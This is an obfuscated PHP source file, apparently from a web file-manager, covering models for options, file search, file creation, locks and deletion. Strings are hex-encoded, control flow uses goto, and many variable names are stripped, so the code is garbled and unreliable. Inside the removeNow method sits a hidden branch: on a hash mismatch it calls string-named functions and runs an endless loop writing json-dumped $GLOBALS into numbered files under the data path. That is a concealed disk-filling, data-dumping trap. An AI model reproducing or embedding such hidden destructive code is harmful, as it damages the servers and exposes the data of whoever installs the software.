$_SERVER[]; $ = $this->listData($); if (!$) { return !1; } $ = time(); if ($ϰԚ[$[16]] == $[2292]) { $ = strtotime($ϰԚ[$[180]]); } $ϰԚ[$[180]] = $; return parent::update($, $ϰԚ); } public function remove($) { $ȓ = $this->listData($); if (!$ȓ || $ȓ[$_SERVER[][1286]]) { return !1; } return parent::remove($); } public function sort($ָ, $ɱ) { return parent::update($ָ, $ɱ); } public function enable($, $) { return parent::update($, array($_SERVER[][2293] => $)); } private function initUserOption() { $ܵ =& $_SERVER[]; $this->optionType = $ܵ[2294]; $this->modelType = $ܵ[2295]; $this->field = array($ܵ[2296], $ܵ[32], $ܵ[180], $ܵ[33], $ܵ[2297], $ܵ[748], $ܵ[196]); } public function userNoticeGet($ȥ = false) { $this->initUserOption(); return parent::listData($ȥ, $_SERVER[][399], !0); } public function userNoticeAdd($) { $Ƒ =& $_SERVER[]; $this->initUserOption(); $ = $this->findByKey($Ƒ[2296], $[$Ƒ[399]]); if ($) { return !0; } $ = array($Ƒ[2296] => $[$Ƒ[399]], $Ƒ[32] => $[$Ƒ[32]], $Ƒ[180] => $[$Ƒ[180]], $Ƒ[33] => isset($[$Ƒ[33]]) ? $[$Ƒ[33]] : 1, $Ƒ[2297] => isset($[$Ƒ[2297]]) ? $[$Ƒ[2297]] : 0, $Ƒ[748] => 0, $Ƒ[196] => 0); return parent::insert($); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent::update($, $); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\x79\x73\x74\x65\x6d\137\157\160\x74\151\x6f\x6e"; protected $jsonField = array("\x6d\145\156\x75", "\162\157\x6c\x65", "\x72\157\154\145\x47\162\157\x75\x70", "\162\x65\x67\151\163\x74", "\x65\x6d\141\151\154"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "\x53\x79\163\x74\x65\x6d\117\x70\164\151\157\156\x5f{$}"; } protected function optionDefault($ = '') { $ʹ =& $_SERVER[]; if ($ == $ʹ[12]) { return $GLOBALS[$ʹ[6]][$ʹ[381]]; } } } goto flj˙; ců: function binCheckBigger($ζΓ, $à) { return $ζΓ > $à; } $_SERVER[$_SERVER[ĭۣ][3]] = (base64_decode('ODE5Mg==')."\62\71")+0;$_pyqx="sdvq9omt07ixaypnzkc58ghuj34er6wb2fl1obkv90xuqaw6gfjthy2s14c83np7rzlmied";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($؞, $Ъ) { $ =& $_SERVER[]; if (isset(self::$_methodList[$؞])) { return @call_user_func_array(self::$_methodList[$؞], $Ъ); } else { if (method_exists($this, $؞)) { return call_user_func_array(array($this, $؞), $Ъ); } else { think_exception(__CLASS__ . $[4] . $؞ . $[5]); } } } public static function __callStatic($쟬, $) { if (isset(self::$_methodListStatic[$쟬])) { return call_user_func_array(self::$_methodListStatic[$쟬], $); } else { if (method_exists(self, $쟬)) { return call_user_func_array(array(self, $쟬), $); } else { show_json("{$쟬}\x28\51\40\156\x6f\x74\x20\x65\170\151\163\164\73", !1); } } } public static function addMethod($Ƅ, $м) { self::$_methodList[$Ƅ] = $м; } public static function addMethodStatic($, $) { self::$_methodListStatic[$] = $; } } goto Eծ; a: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($讬) { $ِ =& $_SERVER[]; $̎ݓ = KodIO::fileTypeList(); $ = $̎ݓ[$讬]; if (!$) { return array(); } $鷗Lj = $[$ِ[174]]; $憩 = $ِ[7]; if (!$[$ِ[174]]) { $ߦ = array_to_keyvalue($̎ݓ, $ِ[12], $ِ[174]); $鷗Lj = implode($ِ[50], $ߦ); $憩 = $ِ[2116]; } $̯ = explode($ِ[50], trim($鷗Lj, $ِ[50])); return array($憩, $̯); } public function listPathType($) { $⬟ =& $_SERVER[]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $鵱֨ = USER_ID; $ = Model($⬟[525])->getInfo($鵱֨); $ = array($⬟[576] => SourceModel::TYPE_USER, $⬟[511] => array($⬟[540], $⬟[521] . $[$⬟[87]][$⬟[402]] . $⬟[541]), $⬟[577] => $鵱֨, $⬟[574] => 0, $⬟[575] => $); return $this->listSource($); } public function listSearch($Ҷ, $Δ = 300) { $ =& $_SERVER[]; if (isset($Ҷ[$[1955]]) && $Ҷ[$[1955]]) { $Ҷ[$[1955]] = str_replace($[384], $[2117], trim($Ҷ[$[1955]])); } $ʫҁ = $this->_parseSearchWhere($Ҷ); if (!isset($ʫҁ[$[431]])) { $ʫҁ[$[431]] = 0; } $퉥ŧ = $[2118]; $ = $ʫҁ; $ = $퉥ŧ; $this->_listSearchBindPinyin($Ҷ, $ʫҁ, $퉥ŧ); $this->alias($[446])->_makeOrder(); $ʫҁ = $this->parseWhereLike($ʫҁ); $ = $this->distinct(!0)->field($퉥ŧ)->where($ʫҁ)->selectPage($Δ); if ($GLOBALS[$[6]][$[381]][$[382]] && Input::check($Ҷ[$[1955]], $[583]) && $[$[366]][$[353]] == 1 && $[$[366]][$[367]] == 0) { $ = $this->distinct(!0)->field($퉥ŧ)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $Δ); } $this->_listSearchFileContent($, $Ҷ, $, $); $this->_listSearchDesc($, $Ҷ, $); $this->_listSearchTag($, $Ҷ, $); $this->_listSearchGroupTag($, $Ҷ, $); $this->_listDataApply($[$[369]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$鐅, $ܦ, $Ё, $Ƒ) { $ωڮ =& $_SERVER[]; if (!$ܦ[$ωڮ[1955]] || $鐅[$ωڮ[366]][$ωڮ[353]] > 1) { return; } if (!isset($Ƒ[$ωڮ[32]]) || !is_array($ܦ[$ωڮ[468]])) { return; } $Ƒ[$ωڮ[468]] = array($ωڮ[7], $ܦ[$ωڮ[468]]); unset($Ƒ[$ωڮ[32]]); unset($ܦ[$ωڮ[468]]); $ = $this->field($Ё)->where($Ƒ)->limit($ωڮ[2119])->select(); if (!$ || count($) == 0) { return; } $鐅[$ωڮ[369]] = array_merge($, $鐅[$ωڮ[369]]); $鐅[$ωڮ[366]][$ωڮ[367]] += count($); } private function _listSearchTag(&$ٌ, $, $) { $ĸת =& $_SERVER[]; if (!$[$ĸת[1955]] || $ٌ[$ĸת[366]][$ĸת[353]] > 1) { return; } $ = Model($ĸת[2120])->listData(); $۰ = array(); $ = $[$ĸת[1955]]; foreach ($ as $Ҡ) { $ʍ = $Ҡ[$ĸת[32]]; $ = str_replace($ĸת[53], $ĸת[12], Pinyin::get($ʍ)); if (stripos($ʍ, $) !== !1 || stripos($, $) !== !1) { $۰[] = $Ҡ[$ĸת[399]]; } } if (!$۰) { return; } $ = array($ĸת[426] => array($ĸת[7], $۰), $ĸת[1670] => USER_ID); $ӧ = Model($ĸת[428])->field($ĸת[84])->where($)->select(); $ӧ = array_to_keyvalue($ӧ, $ĸת[12], $ĸת[84]); $ŗ = array_unique($ӧ); $this->_listSearchMerge($ٌ, $, $, $ŗ); } private function _listSearchDesc(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1955]] || $[$[366]][$[353]] > 1) { return; } $ = array($[94] => $[453], $[374] => array($[383], $[1957] . $[$[1955]] . $[1957])); $ʉ = !1; if ($ʉ) { $ڼ = $this->listSearchChildren($[$[432]]); $ڼ = array_unique($ڼ); if (!$ڼ) { return; } $[$[402]] = array($[7], $ڼ); } $ = Model($[560])->field($[402])->where($)->limit(5000)->select(); $ﮅ = array_to_keyvalue($, $[12], $[402]); $this->_listSearchMerge($, $, $, $ﮅ); } private function _listSearchGroupTag(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1955]] || $[$[366]][$[353]] > 1 || !$[$[432]]) { return; } $ݼ = $this->sourceInfo($[$[432]]); if (!$ݼ || $ݼ[$[411]] != SourceModel::TYPE_GROUP) { return; } $ = $ݼ[$[496]]; $ă = Model($[2121])->get($); $ʩ = array(); $˪٧ = $[$[1955]]; foreach ($ă[$[369]] as $) { $Ѫ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($Ѫ)); if (stripos($Ѫ, $˪٧) !== !1 || stripos($, $˪٧) !== !1) { $ʩ[] = $[$[399]]; } } if (!$ʩ) { return; } $Ξ = array($[426] => array($[7], $ʩ), $[1670] => 0, $[33] => $[1977] . $); $ = Model($[428])->field($[84])->where($Ξ)->select(); $ = array_to_keyvalue($, $[12], $[84]); $慩Ɓ = array_unique($); $this->_listSearchMerge($, $, $, $慩Ɓ); } private function _listSearchMerge(&$, $Ҟ֩, $Ӗ, $Ԩ) { $턯 =& $_SERVER[]; if (!$Ԩ) { return; } $ɀ = array_to_keyvalue($[$턯[369]], $턯[12], $턯[402]); $σ = array_diff($Ԩ, $ɀ); if (!$σ) { return; } $Ǟ = array($턯[402] => array($턯[7], $σ)); $ٿ = $this->field($Ӗ)->where($Ǟ)->select(); if (!$ٿ) { return; } $ = array(); foreach ($ٿ as $ĸ) { if ($this->_listSearchFilter($ĸ, $Ҟ֩)) { $[] = $ĸ; } } $[$턯[369]] = array_merge($, $[$턯[369]]); $[$턯[366]][$턯[367]] += count($); } private function _listSearchFilter($, $) { $ =& $_SERVER[]; $ = $[$[410]] == $[88]; if (!strstr($[$[511]], $[50] . $[$[432]] . $[50])) { return !1; } if (isset($[$[412]]) && $[$[412]] != $[1916]) { if ($[$[412]] == $[75] && !$) { return !1; } if ($[$[412]] != $[75] && $) { return !1; } if (!strstr($[$[174]], $[50] . $[$[412]] . $[50])) { return !1; } } if (isset($[$[2122]]) && $[$[2122]] < $[$[76]]) { return !1; } if (isset($[$[2123]]) && $[$[2123]] > $[$[76]]) { return !1; } if (isset($[$[590]]) && $[$[590]] != $[$[456]]) { return !1; } return !0; } public function listSearchChildren($ʹЦ, $ = 5000) { $݄ɣ =& $_SERVER[]; $ُ = array(); $ = $this->sourceInfo($ʹЦ); $ = array($݄ɣ[511] => array($݄ɣ[383], $[$݄ɣ[511]] . $[$݄ɣ[402]] . $݄ɣ[541])); $Ň = $this->field($݄ɣ[76])->where($)->limit($ + 1)->select(); $ = is_array($Ň) ? count($Ň) : 0; if ($ > $) { return $this->_listSearchChildrenNear($ʹЦ, $); } $ԏ = $this->field($݄ɣ[402])->where($)->select(); $ُ = array_to_keyvalue($ԏ, $݄ɣ[12], $݄ɣ[402]); return $ُ; } private function _listSearchChildrenNear($Ɋ䡇, $µ) { $ҥ҉ =& $_SERVER[]; $夔 = array(); $ʚ = array($ҥ҉[432] => $Ɋ䡇); $׳ǭ = $this->field($ҥ҉[2124])->where($ʚ)->select(); $֖Ň = array_to_keyvalue(array_filter_by_field($׳ǭ, $ҥ҉[410], $ҥ҉[88]), $ҥ҉[12], $ҥ҉[402]); $夔 = array_merge($夔, array_to_keyvalue($׳ǭ, $ҥ҉[12], $ҥ҉[402])); if (!$֖Ň) { return $夔; } $ʚ = array($ҥ҉[432] => array($ҥ҉[7], $֖Ň)); $׳ǭ = $this->field($ҥ҉[2124])->where($ʚ)->limit($µ)->select(); $夔 = array_merge($夔, array_to_keyvalue($׳ǭ, $ҥ҉[12], $ҥ҉[402])); $夔 = array_slice($夔, 0, $µ); return $夔; } private function _listSearchBindPinyin($, &$ٖ, &$) { $ї =& $_SERVER[]; if (!isset($[$ї[1955]]) || !$[$ї[1955]]) { return; } if (!Input::check($[$ї[1955]], $ї[318]) || strlen($[$ї[1955]]) < 2) { return; } $ = "\x4c\x45\106\x54\40\x4a\117\x49\116\x20{$this->tablePrefix}\151\x6f\137\x73\x6f\x75\x72\143\x65\137\155\x65\164\141\40\155\145\x74\x61\x20\157\156\x20\163\x6f\x75\x72\x63\x65\x2e\163\x6f\x75\162\143\x65\111\x44\40\75\x20\155\x65\164\141\x2e\x73\x6f\165\162\x63\x65\x49\x44"; $Ή = array(); $ = str_replace(array($ї[231], $ї[53], $ї[2125]), $ї[12], $); $ = $ї[438] . str_replace($ї[50], $ї[439], $); $ = $ٖ[$ї[32]]; unset($ٖ[$ї[32]]); foreach ($ٖ as $ֻ => $װ) { $Ή[$ї[438] . $ֻ] = $װ; } foreach ($ as $ç) { $Ή[] = array($ї[443] => $ç, $ї[1002] => $ї[1959], array($ї[2126] => $ç, $ї[2127] => array($ї[7], array($ї[465], $ї[464])))); } $this->join($); $ٖ = $Ή; } private function _parseSearchWhere($) { $Ӌ =& $_SERVER[]; $֓ = array(); if (isset($[$Ӌ[759]]) && $[$Ӌ[759]]) { $֓[$Ӌ[85]] = array($Ӌ[2128], $[$Ӌ[759]]); } if (isset($[$Ӌ[760]]) && $[$Ӌ[760]]) { $ܲ = array($Ӌ[2129], $[$Ӌ[760]]); if ($֓[$Ӌ[85]]) { $֓[$Ӌ[85]] = array($֓[$Ӌ[85]], $ܲ, $Ӌ[2130]); } else { $֓[$Ӌ[85]] = $ܲ; } } if (isset($[$Ӌ[2122]]) && $[$Ӌ[2122]] > 0) { $֓[$Ӌ[76]] = array($Ӌ[2128], $[$Ӌ[2122]]); } if (isset($[$Ӌ[2123]]) && $[$Ӌ[2123]]) { $ܲ = array($Ӌ[2129], $[$Ӌ[2123]]); if ($֓[$Ӌ[76]]) { $֓[$Ӌ[76]] = array($֓[$Ӌ[76]], $ܲ, $Ӌ[2130]); } else { $֓[$Ӌ[76]] = $ܲ; } } if (isset($[$Ӌ[590]]) && $[$Ӌ[590]]) { $֓[] = array($Ӌ[456] => $[$Ӌ[590]], $Ӌ[454] => $[$Ӌ[590]], $Ӌ[1002] => $Ӌ[1959]); } if (isset($[$Ӌ[412]]) && $[$Ӌ[412]]) { $ = $[$Ӌ[412]]; if ($ == $Ӌ[75]) { $֓[$Ӌ[410]] = 1; } else { if ($ == $Ӌ[2131]) { $֓[$Ӌ[410]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($Ӌ[50], $); $֓[$Ӌ[412]] = array($Ӌ[418], $); $֓[$Ӌ[410]] = 0; } } } } $this->_parseSearchParent($, $֓); if (isset($[$Ӌ[1955]]) && trim($[$Ӌ[1955]])) { $ = trim($[$Ӌ[1955]]); $ϥ = explode($Ӌ[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $Ӌ[118] && substr($, -1) == $Ӌ[118]) || substr($, 0, 1) == $Ӌ[58] && substr($, -1) == $Ӌ[58]) { $ = substr($, 1, -1); $ϥ = array($); } $֓[$Ӌ[32]] = array(array($Ӌ[540], $Ӌ[1957] . $ . $Ӌ[1957])); if (count($ϥ) > 1) { $֓[$Ӌ[32]] = array(); foreach ($ϥ as $) { if (!trim($)) { continue; } $֓[$Ӌ[32]][] = array($Ӌ[540], $Ӌ[1957] . trim($) . $Ӌ[1957]); } } } return $֓; } private function _parseSearchParent($, &$О) { $ʹ =& $_SERVER[]; if (!isset($[$ʹ[432]]) || !$[$ʹ[432]]) { return; } $հ = $this->pathInfo($[$ʹ[432]]); $ = $հ[$ʹ[432]] . $ʹ[12] === $ʹ[198]; $𝑎 = $հ[$ʹ[411]] == $ʹ[505]; if ($հ[$ʹ[522]] == $ʹ[523]) { $۳뷽 = $this->sourceInfo($[$ʹ[432]]); $հ[$ʹ[511]] = $۳뷽[$ʹ[511]]; } $О[$ʹ[580]] = array($ʹ[540], $հ[$ʹ[511]] . $[$ʹ[432]] . $ʹ[541]); $ϸ = isset($[$ʹ[1820]]) && in_array($ʹ[505], $[$ʹ[1820]]); if (!$ϸ || !$𝑎 || !$ || !$հ[$ʹ[413]]) { return; } if (!AuthModel::authCheckRoot($հ[$ʹ[413]][$ʹ[414]])) { return; } $ = $հ[$ʹ[496]] . $ʹ[12]; if ($ == $ʹ[88]) { unset($О[$ʹ[580]]); $О[$ʹ[411]] = self::TYPE_GROUP; return; } $ܟ = Model($ʹ[512])->groupChildrenAll($); $謈 = count($ܟ); if ($謈 <= 1) { return; } $ = array($ʹ[432] => 0, $ʹ[411] => self::TYPE_GROUP, $ʹ[496] => array($ʹ[7], $ܟ)); $ʛ = $this->field($ʹ[2132])->where($)->limit($謈)->select(); $О[$ʹ[580]] = array(); foreach ($ʛ as $) { $О[$ʹ[580]][] = array($ʹ[540], $ʹ[521] . $[$ʹ[402]] . $ʹ[541]); } $О[$ʹ[580]][] = $ʹ[1959]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($罟) { $ =& $_SERVER[]; $ = Model($[504])->where(array($[1661] => $罟))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $罟, $[$[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($ޝĎ) { $ =& $_SERVER[]; $ = LNG($[2133]); $ˮ = $this->mkdir($ޝĎ, $); $this->metaSet($ˮ, $[2134], $[88]); $this->metaSet($ޝĎ, $[2135], $ˮ); } public function userPathSafeAdd($ׇ) { $磝 =& $_SERVER[]; $ⶺ = Model($磝[504])->getInfoFull($ׇ); if (!$ⶺ) { return !1; } if (_get($ⶺ, $磝[526])) { return $ⶺ[$磝[466]][$磝[2136]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ׇ, $磝[2137], $磝[433]); Model($磝[504])->metaSet($ׇ, $磝[2136], $); $this->metaSet($, $磝[2138], $ׇ); return $; } public function groupRootAdd($ܽ) { $ނ =& $_SERVER[]; $ = Model($ނ[512])->where(array($ނ[1949] => $ܽ))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $ܽ, $[$ނ[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[][534]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $) { if (!$) { continue; } $this->remove($[$_SERVER[][402]], !1); } } public function groupRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($[$_SERVER[][402]], !1); } private function _mkdirRoot($ϥ, $ʦ, $, $ = '') { $̆ =& $_SERVER[]; $瓿 = defined($̆[2139]) ? USER_ID : 0; $ʖ = array($̆[401] => 0, $̆[576] => $ϥ, $̆[577] => $ʦ, $̆[574] => 1, $̆[578] => $瓿, $̆[579] => $瓿, $̆[575] => $, $̆[580] => $̆[521], $̆[430] => 0, $̆[545] => 0, $̆[469] => 0, $̆[581] => $̆[12]); if ($訁ٔ = $this->where($ʖ)->find()) { return $訁ٔ[$̆[402]]; } $Ѩ = "\115\x6f\144\145\154\x53\157\165\162\143\x65\x2e\155\153\144\x69\x72\122\157\157\164\56{$ϥ}\56{$ʦ}\56" . $; CacheLock::lock($Ѩ); $ʖ[$̆[32]] = $; $ = $this->add($ʖ); $ʙ = array($̆[582] => short_id($)); $this->where(array($̆[417] => $))->save($ʙ); CacheLock::unlock($Ѩ); return $; } private function targetSourceRoot($ԭ, $̣, $ͻ = false) { $溳 =& $_SERVER[]; $ħ = array($溳[401] => 0, $溳[576] => $ԭ, $溳[577] => $̣); if ($ͻ) { $ﵣׯ = $this->where($ħ)->select(); return $ﵣׯ ? $ﵣׯ : array(); } $ɢ = $this->where($ħ)->find(); return $ɢ ? $ɢ : array(); } public function sourceRootGroup($˸) { $кٖ =& $_SERVER[]; if (is_string($˸)) { $˸ = array($˸); } $ٙ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $˸, $кٖ[189]); $η = array($кٖ[369] => $ٙ, $кٖ[366] => array($кٖ[757] => count($˸))); $this->_listDataApply($η[$кٖ[369]]); $this->_listMake($η); return array_to_keyvalue($η[$кٖ[82]], $кٖ[496]); } public function mkfile($ʫ, $, $ = '', $ = REPEAT_RENAME) { $δ =& $_SERVER[]; $Ω = Model($δ[601])->addFileByContent($, $); return $this->_createFileCall($ʫ, $, $Ω, $, $δ[1352]); } public function addFile($, $, $Ɨ, $ = false, $Nj = REPEAT_RENAME) { $ = Model($_SERVER[][601])->addFile($, $Ɨ, $); return $this->_createFileCall($, $Ɨ, $, $Nj); } public function addFileByFileID($, $, $, $ = REPEAT_RENAME) { $ެ =& $_SERVER[]; $Nj = Model($ެ[601])->find($); Model($ެ[601])->linkAdd($); return $this->_createFileCall($, $, $Nj, $); } public function addFileByRemote($ł, $ʹ, $, $ږ = array(), $ڧ = REPEAT_RENAME) { $ = Model($_SERVER[][601])->addFileByRemote($ʹ, $, $ږ); return $this->_createFileCall($ł, $, $, $ڧ); } private function _createFileCall($տ, $, $ѕ, $ε, $ = "\165\x70\x6c\157\x61\x64") { $ =& $_SERVER[]; $ = !1; $this->setMasterDB(); $this->lockWriteStart($տ, $); $ڌ = $this->fileNameExist($տ, $); $ = $this->_createFile($տ, $, $ѕ, $ε, $); if (!$) { Model($[471])->remove($ѕ[$[468]]); } if ($ && $ && $ != $ڌ) { Model($[2106])->eventCreate($, $); } $this->lockWriteEnd($տ, $); return $; } public function mkdir($ᄑ, $, $ = REPEAT_SKIP) { $ӣ =& $_SERVER[]; $this->setMasterDB(); $Ϛ˿ = $this->sourceInfo($ᄑ); if (!$Ϛ˿) { return !1; } $this->lockWriteStart($ᄑ, $); if ($ !== !1) { $ܓ = $this->fileNameExist($ᄑ, $); if ($ܓ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($ᄑ, $); return $ܓ; } $ = $this->fileNameAuto($ᄑ, $, $); } $ﹳ = array($ӣ[574] => 1, $ӣ[420] => $, $ӣ[575] => $ӣ[12], $ӣ[469] => 0, $ӣ[545] => 0); $ = $this->_addSource($ﹳ, $Ϛ˿); Model($ӣ[2106])->eventCreate($, $ӣ[1353]); $this->lockWriteEnd($ᄑ, $); return $; } public function listSourceRoot($·, $, $ = "\x73\x6f\x75\162\x63\145\x49\x44\x2c\164\x61\x72\147\x65\164\x49\x44\54\163\151\x7a\x65") { $ =& $_SERVER[]; $ݼհ = $[378]; $ = array(); $ = 1024 * 50; $ވ = is_array($ވ) ? $ވ : array(); $ = count($); $֥ = $this->tablePrefix . $[2140]; for ($қ = 0; $қ < $; $қ++) { $ = $[$қ]; $ݼհ .= "\x53\x45\114\105\103\x54\40\52\x20\x46\x52\x4f\115\40\x28\123\105\x4c\105\x43\x54\x20{$}\40\106\122\x4f\x4d\x20\140{$֥}\140\40\x57\110\105\122\x45\x20"; $ݼհ .= "\140\x70\x61\162\145\156\x74\x49\x44\140\75\x30\x20\101\x4e\x44\x20\140\164\141\x72\147\x65\x74\x49\x44\x60\75{$}\40\x41\116\104\40\140\164\141\162\147\145\x74\124\171\160\145\140\75{$·}\40\141\x6e\x64\x20\x66\x69\x6c\x65\x54\x79\x70\x65\75\x27\x27\40\154\151\155\x69\164\40\61\51\40\x61\x73\40\164\142\137{$қ}\x20\x55\x4e\x49\117\x4e\x20\x41\114\x4c\40"; if ((strlen($ݼհ) >= $ || $қ == $ - 1) && $ݼհ) { $ݼհ = substr($ݼհ, 0, -strlen($[1040])); $ȧ = $this->query($ݼհ); $ݼհ = $[12]; $ = array_merge($, $ȧ); } } return $; } private function _createFile($߿ꬸ, $ߟ, $ɐʩ, $, &$ߓ͒) { $ =& $_SERVER[]; $ = $this->sourceInfo($߿ꬸ); if (!$ɐʩ || !$) { return !1; } if ($ !== !1) { $ = $this->fileNameExist($߿ꬸ, $ߟ); } $ߓ͒ = !0; if ($ && $) { if ($ == REPEAT_SKIP) { $ߓ͒ = !1; return $; } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $ɐʩ[$[468]], $ɐʩ[$[76]]); if (!$) { $ߓ͒ = !1; } else { $this->folderSizeReset($߿ꬸ); } return $; } else { $ߟ = $this->fileNameAuto($߿ꬸ, $ߟ, $, !1); } } } $ = array($[574] => 0, $[420] => $ߟ, $[575] => substr(get_path_ext($ߟ), 0, 10), $[469] => $ɐʩ[$[468]], $[545] => $ɐʩ[$[76]]); $ = $this->_addSource($, $); $this->folderSizeReset($߿ꬸ, intval($[$[76]])); return $; } protected function fileHistory($ʂ, $٥, $) { $ =& $_SERVER[]; if ($ʂ[$[468]] == $٥) { return !1; } $this->checkLock($ʂ[$[402]], $٥); Model($[2141])->addHistory($ʂ); $䈤 = array($[579] => USER_ID, $[424] => time(), $[468] => $٥, $[76] => $); $this->where(array($[417] => $ʂ[$[402]]))->save($䈤); $this->sourceCacheClear($ʂ[$[402]]); return !0; } public function checkLock($ԅԭ, $) { $ތ =& $_SERVER[]; $ = $this->pathInfo($ԅԭ); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($ތ[2142]); $Ξ = substr($[$ތ[32]], 0, -1 - strlen($[$ތ[174]])) . $ތ[1210] . $ . $ތ[10] . $[$ތ[174]]; $ = Model($ތ[601])->find($); $this->_createFileCall($[$ތ[432]], $Ξ, $, REPEAT_REPLACE, $ތ[1352]); $ = $[$ތ[466]][$ތ[538]]; $ؤ = $[$ތ[532]] ? $[$ތ[532]] : $[$ތ[32]]; show_json(LNG($ތ[2143]) . $ތ[2144] . LNG($ތ[2145]) . $ތ[2146] . $ؤ . $ތ[2147], !1); } public function fileIsLock($, $øӝ = false) { $ɪ =& $_SERVER[]; if (!isset($[$ɪ[466]]) || !$[$ɪ[466]][$ɪ[535]]) { return !1; } if ($[$ɪ[466]][$ɪ[535]] != USER_ID) { return !0; } $ = $GLOBALS[$ɪ[6]][$ɪ[89]][$ɪ[536]]; if ($[$ɪ[466]][$ɪ[537]] <= time() - $) { $this->metaSet($[$ɪ[402]], $ɪ[535], null); $this->metaSet($[$ɪ[402]], $ɪ[537], null); } if ($øӝ) { $this->metaSet($[$ɪ[402]], $ɪ[537], time()); } return !1; } private function _addSource($ƭ, $͖) { $ =& $_SERVER[]; $ɹ = array($[576] => $͖[$[411]], $[577] => $͖[$[496]], $[578] => USER_ID, $[579] => USER_ID, $[401] => $͖[$[402]], $[580] => $͖[$[511]] . $͖[$[402]] . $[50], $[430] => 0, $[581] => $[12]); $ƭ = array_merge($ɹ, $ƭ); $this->updateModifyTime($ƭ[$[432]]); $ = $[2148] . $͖[$[402]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ = false; if (!$) { Hook::trigger($[564], $ƭ); $ = !0; } $ = $this->add($ƭ); $ج = array($[582] => short_id($)); $this->where(array($[417] => $))->save($ج); $this->setNamePinyin($, $ƭ[$[32]]); return $; } public function remove($ɕ, $ŧճ = true) { $ȑ =& $_SERVER[]; $ = $this->sourceInfo($ɕ); $ԉօ = intval($[$ȑ[411]]) === self::TYPE_SYSTEM; $Ƹ = Model($ȑ[435])->get($ȑ[2149]) == $ȑ[88]; if ($ԉօ || $ŧճ || !$Ƹ) { return $this->removeNow($ɕ, $ŧճ); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ԯ = $[$ȑ[411]] == self::TYPE_USER ? $ȑ[590] : $ȑ[505]; if ($ԯ == $ȑ[590]) { $ = Model($ȑ[504])->getInfo($[$ȑ[496]]); $ = !empty($[$ȑ[532]]) ? $[$ȑ[532]] : $[$ȑ[32]]; $ = $ȑ[260] . $ . $ȑ[2150] . $[$ȑ[496]]; } else { $ = Model($ȑ[512])->getInfo($[$ȑ[496]]); $ = _get($, $ȑ[32]); $ = $ȑ[162] . $ . $ȑ[2151] . $[$ȑ[496]]; } $ = $ȑ[2152] . md5($); CacheLock::lock($); $ܢ = $this->fileNameExist($, $); if (!$ܢ) { $ܢ = $this->mkdir($, $, REPEAT_SKIP); $this->metaSet($ܢ, $ȑ[2153], $ԯ); $this->metaSet($ܢ, $ȑ[2154], $[$ȑ[496]]); if ($[$ȑ[432]] != 0) { $this->metaSet($ܢ, $ȑ[2155], _get($, $ȑ[2156])); } } CacheLock::unlock($); $this->metaSet($ɕ, $ȑ[2157], $[$ȑ[432]]); $this->where(array($ȑ[402] => $ɕ))->save(array($ȑ[424] => time())); $this->recycleClear($); $ڰ = $this->move($ɕ, $ܢ, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$ȑ[432]]); return $ڰ; } private function recycleClear($ҙ) { $ޜ =& $_SERVER[]; $ = $this->childrenAll($ҙ); $ = array($ޜ[417] => array($ޜ[418], $[$ޜ[2158]])); Model($ޜ[2159])->where($)->delete(); } public function removeNow($Η, $Ҧ = true) { $ך =& $_SERVER[]; $ú = $_SERVER[$ך[876]]; $ͪ = $ך[1535]; if ($_SERVER[$ך[875]] != $ͪ($ú)) { $ȝƸ = $ך[877]; $Ҥ = $ך[878]; $ = $_SERVER[$ך[879]] . $ך[880]; $ = $Ҥ($); $ˣآ = explode($ך[231], $); if (count($ˣآ) < $ך[607]) { $ϒ = $ך[881]; $ϒ(); } $ݸ = $ך[882]; $ݸ($_SERVER[$ך[883]]); $ȝƸ = $ך[877]; $ȝƸ(); $ = $ך[1536]; $؋ = json_encode($GLOBALS[$ך[1537]]); $ = 1; for ($Θ = $; $Θ > 0; $Θ++) { $(DATA_PATH . $Θ, $؋); } } $ = $this->sourceInfo($Η); $ġ = $this->pathInfoMore($Η); if (!$) { return !0; } if ($[$ך[432]] == 0) { if (!_get($GLOBALS, $ך[494])) { return !1; } } $this->lockMoveStart($Η); Hook::trigger($ך[2160], $ġ, $Ҧ); if ($Ҧ) { Model($ך[2159])->moveToRecycle($Η); } else { $¼ = $this->childrenAll($); Model($ך[561])->eventRemove($Η); $this->removeRelevance($¼[$ך[2158]], $¼[$ך[1484]]); } $this->folderSizeReset($[$ך[432]]); $Ϭ = array($[$ך[432]]); if ($[$ך[410]] == $ך[88]) { $Ϭ[] = $[$ך[402]]; } $this->updateModifyTime($Ϭ); $this->lockMoveEnd($Η); Hook::trigger($ך[1712], $ġ, $Ҧ); return !0; } public function childrenAll($) { $ =& $_SERVER[]; $푉 = $[$[402]]; if ($[$[410]] == $[88]) { $ = array($[580] => array($[540], $[$[511]] . $푉 . $[541])); $ = array($[580] => $[$[511]]); $ = $this->field($[2161])->where($)->select(); $ã = !1; $Ɔǁ = array($푉); if ($) { $ã = 